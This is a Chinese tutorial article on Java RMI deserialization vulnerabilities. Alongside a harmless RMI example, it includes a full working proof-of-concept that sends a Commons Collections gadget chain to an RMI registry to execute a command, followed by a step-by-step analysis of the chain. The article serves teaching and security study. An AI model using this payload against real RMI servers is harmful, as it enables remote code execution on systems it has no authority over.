您当前的位置:首页 > 电脑百科 > 安全防护 > 网络安全

RMI反序列化漏洞分析

时间:2019-08-16 11:28:13  来源:  作者:

原创:Xman21合天智汇

原创投稿活动:

http://link.zhihu.com/?target=https%3A//mp.weixin.qq.com/s/Nw2VDyvCpPt_GG5YKTQuUQ

一、RMI简介

首先看一下RMI在wikipedia上的描述:

JAVA远程方法调用,即Java RMI(Java Remote Method Invocation)是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。远程方法调用特性使Java编程人员能够在网络环境中分布操作。RMI全部的宗旨就是尽可能简化远程接口对象的使用。 Java RMI极大地依赖于接口。在需要创建一个远程对象的时候,程序员通过传递一个接口来隐藏底层的实现细节。客户端得到的远程对象句柄正好与本地的根代码连接,由后者负责透过网络通信。这样一来,程序员只需关心如何通过自己的接口句柄发送消息。

换句话说,使用RMI是为了不同JVM虚拟机的Java对象能够更好地相互调用,就像调用本地的对象一样。RMI为了隐藏网络通信过程中的细节,使用了代理方法。如下图所示,在客户端和服务器各有一个代理,客户端的代理叫Stub,服务端的代理叫Skeleton。代理都是由服务端产生的,客户端的代理是在服务端产生后动态加载过去的。当客户端通信是只需要调用本地代理传入所调用的远程对象和参数即可,本地代理会对其进行编码,服务端代理会解码数据,在本地运行,然后将结果返回。在RMI协议中,对象是使用序列化机制进行编码的。

RMI反序列化漏洞分析

 

我们可以将客户端存根编码的数据包含以下几个部分:

  • 被使用的远程对象的标识符
  • 被调用的方法的描述
  • 编组后的参数

当请求数据到达服务端后会执行如下操作:

  1. 定位要调用的远程对象
  2. 调用所需的方法,并传递客户端提供的参数
  3. 捕获返回值或调用产生的异常。
  4. 将返回值编组,打包送回给客户端存根

客户端存根对来自服务器端的返回值或异常进行反编组,其结果就成为了调用存根返回值。

RMI反序列化漏洞分析

 

二、RMI示例

接下来我们编写一个RMI通信的示例,使用IDEA新建一个Java项目,代码结构如下:

RMI反序列化漏洞分析

 

Client.java

  1. package client;
  2. import service.Hello;
  3. import java.rmi.registry.LocateRegistry;
  4. import java.rmi.registry.Registry;
  5. import java.util.Scanner;
  6. public class Client {
  7. public static void main(String[] args) throws Exception{
  8. // 获取远程主机上的注册表
  9. Registry registry=LocateRegistry.getRegistry("localhost",1099);
  10. String name="hello";
  11. // 获取远程对象
  12. Hello hello=(Hello)registry.lookup(name);
  13. while(true){
  14. Scanner sc = new Scanner( System.in );
  15. String message = sc.next();
  16. // 调用远程方法
  17. hello.echo(message);
  18. if(message.equals("quit")){
  19. break;
  20. }
  21. }
  22. }
  23. }

Server.java

  1. package server;
  2. import service.Hello;
  3. import service.impl.HelloImpl;
  4. import java.rmi.registry.LocateRegistry;
  5. import java.rmi.registry.Registry;
  6. import java.rmi.server.UnicastRemoteObject;
  7. public class Server {
  8. public static void main(String[] args) throws Exception{
  9. String name="hello";
  10. Hello hello=new HelloImpl();
  11. // 生成Stub
  12. UnicastRemoteObject.exportObject(hello,1099);
  13. // 创建本机 1099 端口上的RMI registry
  14. Registry registry=LocateRegistry.createRegistry(1099);
  15. // 对象绑定到注册表中
  16. registry.rebind(name, hello);
  17. }
  18. }

Hello.java

  1. package service;
  2. import java.rmi.Remote;
  3. import java.rmi.RemoteException;
  4. public interface Hello extends Remote {
  5. public String echo(String message) throws RemoteException;
  6. }

HelloImpl

  1. package service.impl;
  2. import service.Hello;
  3. import java.rmi.RemoteException;
  4. public class HelloImpl implements Hello {
  5. @Override
  6. public String echo(String message) throws RemoteException {
  7. if("quit".equalsIgnoreCase(message.toString())){
  8. System.out.println("Server will be shutdown!");
  9. System.exit(0);
  10. }
  11. System.out.println("Message from client: "+message);
  12. return "Server response:"+message;
  13. }
  14. }

先运行Server,然后运行Client,然后即可进行Server与Client的通信

RMI反序列化漏洞分析

 

RMI反序列化漏洞分析

 

三、漏洞复现

RMI反序列化漏洞的存在必须包含两个条件:

  1. 能够进行RMI通信
  2. 目标服务器引用了第三方存在反序列化漏洞的jar包

注:复现的时候需要JDK8 121以下版本,121及以后加了白名单限制,

这里我们以Apache Commons Collections反序列化漏洞为例,使用的版本为commons-collections.jar 3.1,新建一个漏洞利用的类RMIexploit

  1. package client;
  2. import org.apache.commons.collections.Transformer;
  3. import org.apache.commons.collections.functors.ChainedTransformer;
  4. import org.apache.commons.collections.functors.ConstantTransformer;
  5. import org.apache.commons.collections.functors.InvokerTransformer;
  6. import org.apache.commons.collections.keyvalue.TiedMapEntry;
  7. import org.apache.commons.collections.map.LazyMap;
  8. import javax.management.BadAttributeValueExpException;
  9. import java.lang.reflect.Constructor;
  10. import java.lang.reflect.Field;
  11. import java.lang.reflect.InvocationHandler;
  12. import java.lang.reflect.Proxy;
  13. import java.rmi.Remote;
  14. import java.rmi.registry.LocateRegistry;
  15. import java.rmi.registry.Registry;
  16. import java.util.HashMap;
  17. import java.util.Map;
  18. public class RMIexploit {
  19. public static void main(String[] args) throws Exception {
  20. // 远程RMI Server的地址
  21. String ip = "127.0.0.1";
  22. int port = 1099;
  23. // 要执行的命令
  24. String command = "calc";
  25. final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
  26. // real chain for after setup
  27. final Transformer[] transformers = new Transformer[] {
  28. new ConstantTransformer(Runtime.class),
  29. new InvokerTransformer("getMethod",
  30. new Class[] {String.class, Class[].class },
  31. new Object[] {"getRuntime", new Class[0] }),
  32. new InvokerTransformer("invoke",
  33. new Class[] {Object.class, Object[].class },
  34. new Object[] {null, new Object[0] }),
  35. new InvokerTransformer("exec",
  36. new Class[] { String.class },
  37. new Object[] { command }),
  38. new ConstantTransformer(1) };
  39. Transformer transformerChain = new ChainedTransformer(transformers);
  40. Map innerMap = new HashMap();
  41. Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
  42. TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
  43. BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
  44. Field valfield = badAttributeValueExpException.getClass().getDeclaredField("val");
  45. valfield.setAccessible(true);
  46. valfield.set(badAttributeValueExpException, entry);
  47. String name = "pwned"+ System.nanoTime();
  48. Map<String, Object> map = new HashMap<String, Object>();
  49. map.put(name, badAttributeValueExpException);
  50. // 获得AnnotationInvocationHandler的构造函数
  51. Constructor cl = Class.forName(ANN_INV_HANDLER_CLASS).getDeclaredConstructors()[0];
  52. cl.setAccessible(true);
  53. // 实例化一个代理
  54. InvocationHandler hl = (InvocationHandler)cl.newInstance(Override.class, map);
  55. Object object = Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, hl);
  56. Remote remote = Remote.class.cast(object);
  57. Registry registry=LocateRegistry.getRegistry(ip,port);
  58. registry.bind(name, remote);
  59. }
  60. }

然后执行RMIexploit

RMI反序列化漏洞分析

 

四、漏洞分析

其实RMI反序列化的POC比Apache Commons Collections反序列化漏洞的POC只是多了RMI的通信步骤,Commons Collections组件的分析网上已经有很多,这里只对本文使用的调用链做简要分析。

RMI反序列化漏洞分析

 

如上图所示,当序列化的数据到达RMI Server后回自动进行反序列化操作,首先是AnnotationInvocationHandler执行readObject函数;然后调用TiedMapEntry的toString函数,再调用同文件的getValue方法;然后调用到LazyMap的get方法;后面的步骤其实一个循环调用的过程,利用ChainedTransformer中的transform方法,多次调用,直到最后的命令执行。

  1. public Object transform(Object object) {
  2. for(int i = 0; i < this.iTransformers.length; ++i) {
  3. object = this.iTransformers[i].transform(object);
  4. }

不过这里有几个问题需要专门解释下。

1、为什么这里的badAttributeValueExpException对象是通过反射构造,而不是直接声明?

代码中我们用以下四行反射的方式构造badAttributeValueExpException对象

  1. BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
  2. Field valfield = badAttributeValueExpException.getClass().getDeclaredField("val");
  3. valfield.setAccessible(true);
  4. valfield.set(badAttributeValueExpException, tiedMapEntry);

而不是直接声明的呢

  1. BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(tiedMapEntry);

 

要知道BadAttributeValueExpException的构造函数就是给val遍变量赋值

  1. public BadAttributeValueExpException (Object val) {
  2. this.val = val == null ? null : val.toString();
  3. }

但是仔细看这个构造函数,当val不为空的时候,是将val.toString()赋值给this.val,因此这样直接声明的话会直接通过toString()触发命令执行。但是在真正反序列化的时候,由于val变成了String类型,就会造成漏洞无法触发。

2、为什么不直接将badAttributeValueExpException对象bind到RMI服务?

执行bind操作需要对象类型为Remote,这里BadAttributeValueExpException无法直接转换为Remote类型,因此需要将其封装在AnnotationInvocationHandler里面。在这个Poc中只要是继承了InvocationHandler的动态代理类都可以,比如我们自定义以下类

  1. package client;
  2. import javax.management.BadAttributeValueExpException;
  3. import java.io.Serializable;
  4. import java.lang.reflect.InvocationHandler;
  5. import java.lang.reflect.Method;
  6. public class PocHandler implements InvocationHandler, Serializable {
  7. private BadAttributeValueExpException ref;
  8. protected PocHandler(BadAttributeValueExpException newref) {
  9. ref = newref;
  10. }
  11. // @Override
  12. public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
  13. return method.invoke(this.ref, args);
  14. }
  15. }

Poc代码动态代理声明一行改为

  1. Object object = Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, new PocHandler(badAttributeValueExpException));

 

反序列化过程是递归的,封装在InvocationHandler中badAttributeValueExpException也会执行反序列化操作,因此也能够触发命令执行。但是有些Poc的写法就必须要用sun.reflect.annotation.AnnotationInvocationHandler这个类,因为是利用AnnotationInvocationHandler反序列化过程中readObject函数对map对象的set操作来实现命令执行的,set操作会导致transform操作,使得整个调用链触发。

  1. private void readObject(java.io.ObjectInputStream s)
  2. throws java.io.IOException, ClassNotFoundException {
  3. s.defaultReadObject();
  4. // Check to make sure that types have not evolved incompatibly
  5. AnnotationType annotationType = null;
  6. try {
  7. annotationType = AnnotationType.getInstance(type);
  8. } catch(IllegalArgumentException e) {
  9. // Class is no longer an annotation type; time to punch out
  10. throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
  11. }
  12. Map<String, Class<?>> memberTypes = annotationType.memberTypes();
  13. // If there are annotation members without values, that
  14. // situation is handled by the invoke method.
  15. for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
  16. String name = memberValue.getKey();
  17. Class<?> memberType = memberTypes.get(name);
  18. if (memberType != null) { // i.e. member still exists
  19. Object value = memberValue.getValue();
  20. if (!(memberType.isInstance(value) ||
  21. value instanceof ExceptionProxy)) {
  22. memberValue.setValue(
  23. new AnnotationTypeMismatchExceptionProxy(
  24. value.getClass() + "[" + value + "]").setMember(
  25. annotationType.members().get(name)));
  26. }
  27. }
  28. }
  29. }

我本地版本jdk的AnnotationInvocationHandler没有set操作,因此一开始就借助BadAttributeValueExpException进行漏洞触发。

相关实验:Java反序列漏洞

点击:

“http://www.hetianlab.com/expc.do?ec=ECID172.19.104.182015111916202700001”(PC端操作最佳哟)

RMI反序列化漏洞分析

 

声明:笔者初衷用于分享与普及网络知识,若读者因此作出任何危害网络安全行为后果自负,与合天智汇及原作者无关,本文为合天原创,如需转载,请注明出处!



Tags:RMI   点击:()  评论:()
声明:本站部分内容及图片来自互联网,转载是出于传递更多信息之目的,内容观点仅代表作者本人,如有任何标注错误或版权侵犯请与我们联系(Email:2595517585@qq.com),我们将及时更正、删除,谢谢。
▌相关推荐
转自: https://kermsite.com/p/wt-ssh/由于格式问题,部分链接、表格可能会失效,若失效请访问原文密码登录 以及 通过密钥实现免密码登录Dec 15, 2021阅读时长: 6 分钟简介Windo...【详细内容】
2021-12-17  Tags: RMI  点击:(16)  评论:(0)  加入收藏
自从 Windows Terminal 正式发布后就再没有用过 Windows 系统自带的终端了。主要是 Terminal 简洁且灵活,更重要的是支持特殊字体,通过一些简单的配置可以使得终端看起来更舒...【详细内容】
2020-11-04  Tags: RMI  点击:(278)  评论:(0)  加入收藏
环境Deepin 15.11安装 TerminusTerminus的github仓库:https://github.com/Eugeny/terminus/releases 官网提供了下载地址(https://www.termius.com/),它的下载速度比github快很...【详细内容】
2020-07-17  Tags: RMI  点击:(104)  评论:(0)  加入收藏
在Python Console中执行,会报错,错误提示与代码匹配不上。例如:runfile(&#39;D:/project/python/example/pythonExample/LanguageExample/ObjectOrient/biz_handle.py&#39;, wd...【详细内容】
2020-07-09  Tags: RMI  点击:(111)  评论:(0)  加入收藏
看日志报出的错误,"It is required that your private key files are NOT accessible by others",翻译就是需要私钥文件不能被其他人所访问。私钥是访问linux服务器的凭证,如果...【详细内容】
2019-12-24  Tags: RMI  点击:(154)  评论:(0)  加入收藏
Java远程方法调用,即Java RMI(Java Remote Method Invocation)是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。远程方法调用特性使Java编程人员能够...【详细内容】
2019-08-16  Tags: RMI  点击:(300)  评论:(0)  加入收藏
RMI (Remote Method Invocation,远程方法调用)是Java一组拥护开发分布式应用程序的API,用于不同虚拟机间的通信,核心是远程对象RMI通信模型: 1、客户端调用辅助对象stub上方法2、...【详细内容】
2019-08-15  Tags: RMI  点击:(235)  评论:(0)  加入收藏
▌简易百科推荐
(报告出品方:德勤)数字化转型网络安全及转型挑战在任何行业,保持竞争力都需要快速开发新产品和 服务并推向市场。创新型业务模式不仅仅是简单地将现有 流程数字化,其正在覆盖供应...【详细内容】
2021-12-22  认是    Tags:网络安全   点击:(29)  评论:(0)  加入收藏
10月18号, W3C中网络平台孵化器小组(Web Platform Incubator Community Group)公布了HTML Sanitizer API的规范草案。这份草案用来解决浏览器如何解决XSS攻击问题。 网络安全中...【详细内容】
2021-12-07  实战Java  博客园  Tags:脚本攻击   点击:(20)  评论:(0)  加入收藏
一、背景介绍大家在Linux的日常使用中都晓得如何通过命令行去配置Linux的端口开放规则,但是大家知道如何配置Windows入站出站规则吗?有哪些常见的危险端口呢?如何解决上述问题...【详细内容】
2021-12-01  Kali与编程    Tags:防火墙   点击:(30)  评论:(0)  加入收藏
网络安全服务商Randori公司日前发布了一份调查报告,列出了网络攻击者最有可能攻击或利用的IT资产。在遭遇Solarwinds黑客攻击一周年之际,以及在网络安全(尤其是勒索软件和供应...【详细内容】
2021-10-28  企业网D1net   企鹅号  Tags:网络攻击   点击:(57)  评论:(0)  加入收藏
0x01.背景实验利用Dns Administrators 组成员,通过远程配置Dns服务,进行Dll inject从而实现特权提升。 在域内,Dns server 通常为Dc Server,Dns服务器管理基于rpc,通过调用c:\wi...【详细内容】
2021-10-22  IT影子    Tags:特权提升   点击:(37)  评论:(0)  加入收藏
本文主要介绍和总结了CSRF跨站请求伪造的基本原理和主要防范措施,工作中有用到的朋友不妨收藏转发一下,以备您参考。什么是CSRF?CSRF跨站点请求伪造(Cross&mdash;Site Request...【详细内容】
2021-10-13  快乐中恒    Tags:CSRF   点击:(49)  评论:(0)  加入收藏
waf拦截在打某市 Hvv 第一天就找到一个文件上传的点,经过测试,可以直接任意文件上传,没有什么道理。 直接尝试上传 Php 文件,被 waf 拦截了 2021最新整理网络安全/渗透测试/安...【详细内容】
2021-10-11  KaliMa    Tags:防火墙   点击:(56)  评论:(0)  加入收藏
应用程序与文件系统的交互始终是高度安全敏感的,因为较小的功能漏洞很容易成为可利用漏洞的来源。这种观察在web文件管理器的情况下尤其正确,其作用是复制完整文件系统的功能...【详细内容】
2021-09-17  IT野涵    Tags:漏洞链   点击:(56)  评论:(0)  加入收藏
您的苹果手机尽管iPhone比Android更安全,但也可以通过各种方式入侵。避免黑客入侵的最佳方法是警惕奇怪的链接或粗略的应用程序,并仅在必要时提供信息。电池寿命差和性能低下...【详细内容】
2021-09-16  Hackers爱好者    Tags:黑客入侵   点击:(633)  评论:(0)  加入收藏
防火墙一般布置在逻辑区域的入口处,位于三层网络架构的核心和汇聚之间,起到隔离逻辑区域,为逻辑区域创建安全策略的作用。 上面就是应用区的防火墙布置方式,他布置在应用区,可以...【详细内容】
2021-09-03  知来知去    Tags:主备模式防火墙   点击:(109)  评论:(0)  加入收藏
相关文章
最新更新
栏目热门
栏目头条